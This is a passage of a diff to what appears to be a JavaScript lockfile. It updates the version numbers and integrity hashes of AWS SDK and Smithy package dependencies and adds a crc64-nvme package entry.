"", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-oEACriysQMnHIVcNp7TD6D1nzgiHfYK0tmMBMbUxgoFuCBkW9g9QYvspHN+S9KgoePfMEXHuPUe9mtG9AH9XeA=="], "@aws-sdk/client-sso-oidc": ["@aws-sdk/client-sso-oidc@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-lMFEXCa6ES/FGV7hpyrppT1PiAkqQb51AbG0zVU3TIgI2IO4XX02uzMUXImRSRqRpGymRCbJCaCs9LtKvS/37Q=="], - "@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="], + "@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="], + + "@aws-sdk/crc64-nvme": ["@aws-sdk/crc64-nvme@3.972.4", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HKZIZLbRyvzo/bXZU7Zmk6XqU+1C9DjI56xd02vwuDIxedxBEqP17t9ExhbP9QFeNq/a3l9GOcyirFXxmbDhmw=="], "@aws-sdk/credential-provider-cognito-identity": ["@aws-sdk/credential-provider-cognito-identity@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-sXU2KtWpFzIzE4iffSIUbl4mgbeN1Rta6BnuKtS3rrVrryku9akAxY//pulbsIsYfXRzOwZzULsa+cxQN00lrw=="], @@ -547,9 +579,9 @@ "@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-kvXA1SwGneqGzFwRZNpESitnmaENHGFFuuTvgGwtMe7mzXWuA/LkXdbiHmdyAzOo0iByKTCD8uetuwh3CXy4Pw=="], - "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-jL9zc+e+7sZeJrHzYKK9GOjl1Ktinh0ORU3cM2uRBi7fuH/0zV9pdMN8PQnGXz0i4tJaKcZ1lrE4V0V6LB9NQg=="], + "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA=="], - "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.758.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-ini": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-+DaMv63wiq7pJrhIQzZYMn4hSarKiizDoJRvyR7WGhnn0oQ/getX9Z0VNCV3i7lIFoLNTb7WMmQ9k7+z/uD5EQ=="], + "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.18", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-ini": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw=="], "@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.620.1", "", { "dependencies": { "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-hWqFMidqLAkaV9G460+1at6qa9vySbjQKKc04p59OT7lZ5cO5VH5S4aI05e+m4j364MBROjjk2ugNvfNf/8ILg=="], @@ -559,57 +591,57 @@ "@aws-sdk/credential-providers": ["@aws-sdk/credential-providers@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/client-sso": "3.623.0", "@aws-sdk/credential-provider-cognito-identity": "3.623.0", "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-abtlH1hkVWAkzuOX79Q47l0ztWOV2Q7l7J4JwQgzEQm7+zCk5iUAiwqKyDzr+ByCyo4I3IWFjy+e1gBdL7rXQQ=="], - "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-4zIbhdRmol2KosIHmU31ATvNP0tkJhDlRj9GuawVJoEnMvJA1pd2U3SRdiOImJU3j8pT46VeS4YMmYxfjGHByg=="], + "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.10", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-g2Z9s6Y4iNh0wICaEqutgYgt/Pmhv5Ev9G3eKGFe2w9VuZDhc76vYdop6I5OocmpHV79d4TuLG+JWg5rQIVDVA=="], - "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-etC7G18aF7KdZguW27GE/wpbrNmYLVT755EsFc8kXpZj8D6AFKxc7OuveinJmiy0bYXAMspJUWsF6CrGpOw6CQ=="], + "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-goX+axlJ6PQlRnzE2bQisZ8wVrlm6dXJfBzMJhd8LhAIBan/w1Kl73fJnalM/S+18VnpzIHumyV6DtgmvqG5IA=="], - "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-XQSH8gzLkk8CDUDxyt4Rdm9owTpRIPdtg2yw9Y2Wl5iSI55YQSiC3x8nM3c4Y4WqReJprunFPK225ZUDoYCfZA=="], + "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-VWndapHYCfwLgPpCb/xwlMKG4imhFzKJzZcKOEioGn7OHY+6gdr0K7oqy1HZgbLa3ACznZ9fku+DzmAi8fUC0g=="], - "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-P38/v1l6HjuB2aFUewt7ueAW5IvKkFcv5dalPtbMGRhLeyivBOHwbCyuRKgVs7z7ClTpu9EaViEGki2jEQqEsQ=="], + "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mvWqvm61bmZUKmmrtl2uWbokqpenY3Mc3Jf4nXB/Hse6gWxLPaCQThmhPBDzsPSV8/Odn8V6ovWt3pZ7vy4BFQ=="], - "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.758.0", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/is-array-buffer": "^4.0.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-o8Rk71S08YTKLoSobucjnbj97OCGaXgpEDNKXpXaavUM5xLNoHCLSUPRCiEN86Ivqxg1n17Y2nSRhfbsveOXXA=="], + "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.973.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/crc64-nvme": "^3.972.4", "@aws-sdk/types": "^3.973.5", "@smithy/is-array-buffer": "^4.2.2", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7CH2jcGmkvkHc5Buz9IGbdjq1729AAlgYJiAvGq7qhCHqYleCsriWdSnmsqWTwdAfXHMT+pkxX3w6v5tJNcSug=="], - "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw=="], + "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ=="], - "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-EJEIXwCQhto/cBfHdm3ZOeLxd2NlJD+X2F+ZTOxzokuhBtY0IONfC/91hOo5tWQweerojwshSMHRCKzRv1tlwg=="], + "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-vdK1LJfffBp87Lj0Bw3WdK1rJk9OLDYdQpqoKgmpIZPe+4+HawZ6THTbvjhJt4C4MNnRrHTKHQjkwBiIpDBoig=="], - "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w=="], + "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w=="], - "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA=="], + "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ=="], - "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="], + "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-5E3XxaElrdyk6ZJ0TjH7Qm6ios4b/qQCiLr6oQ8NK7e4Kn6JBTJCaYioQCQ65BpZ1+l1mK5wTAac2+pEz0Smpw=="], - "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-d4yd1RrPW/sspEXizq2NSOUivnheac6LPeLSLnaeTbBG9g1KqIqvCzP1TfXEqv2CrWfHEsWtJpX7oyjySSPvDQ=="], + "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-G9clGVuAml7d8DYzY6DnRi7TIIDRvZ3YpqJPz/8wnWS5fYx/FNWNmkO6iJVlVkQg9BfeMzd+bVPtPJOvC4B+nQ=="], - "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@smithy/core": "^3.1.5", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg=="], + "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.19", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@smithy/core": "^3.23.8", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-retry": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A=="], - "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/util-format-url": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/types": "^4.9.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-bPe3rqeugyj/MmjP0yBSZox2v1Wa8Dv39KN+RxVbQroLO8VUitBo6xyZ0oZebhZ5sASwSg58aDcMlX0uFLQnTA=="], + "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.12", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-format-url": "^3.972.7", "@smithy/eventstream-codec": "^4.2.11", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-iyPP6FVDKe/5wy5ojC0akpDFG1vX3FeCUU47JuwN8xfvT66xlEI8qUJZPtN55TJVFzzWZJpWL78eqUE31md08Q=="], - "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OtuirjxuOqZyDcI0q4WtoyWfkq3nSnbH41JwJQsXJefduWcww1FQe5TL1JfYCU7seUxHzK8rg2nFxUBuqUlZtg=="], + "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="], - "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ=="], + "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/config-resolver": "^4.4.10", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA=="], "@aws-sdk/s3-request-presigner": ["@aws-sdk/s3-request-presigner@3.758.0", "", { "dependencies": { "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-format-url": "3.734.0", "@smithy/middleware-endpoint": "^4.0.6", 